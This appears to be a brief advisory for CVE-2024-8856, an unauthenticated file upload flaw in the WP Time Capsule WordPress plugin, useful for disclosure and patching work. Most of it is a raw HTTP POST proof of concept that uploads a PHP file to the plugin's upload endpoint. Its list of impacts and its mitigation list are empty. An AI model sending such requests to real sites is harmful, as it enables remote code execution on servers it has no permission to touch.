
WordPress WP Time Capsule Plugin Arbitrary File Upload Vulnerability
CVE-2024-8856 is a security vulnerability found in the WP Time Capsule plugin for WordPress that allows unauthenticated users to upload arbitrary files to the server. This can lead to remote code execution if the uploaded files are executed by the server. The vulnerability arises from insufficient file validation and can be exploited by sending specially crafted requests to the vulnerable endpoint.
this vulnerability allows an unauthenticated users to:
The following is a proof of concept demonstrating how to exploit the CVE-2024-8856 vulnerability by sending a POST request to the vulnerable endpoint.
POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
Host: wordpress.local
Content-Length: 199
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHvQu3NOpI44bLkPN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://wordpress.local
Content-Disposition: 18.php
Accept-Encoding: gzip, deflate, br
Connection: close
------WebKitFormBoundaryHvQu3NOpI44bLkPN
Content-Disposition: form-data; name="files"; filename="php"
Content-Type: application/sql
<?php phpinfo();
------WebKitFormBoundaryHvQu3NOpI44bLkPN--
To mitigate this vulnerability:
CVE-2024-8856 - National Vulnerability Database
CVE-2024-8856 is a serious vulnerability that requires immediate attention from administrators of WordPress sites using the WP Time Capsule plugin. Proper precautions should be taken to secure the application against potential exploitation. Always stay updated with security practices and plugin updates.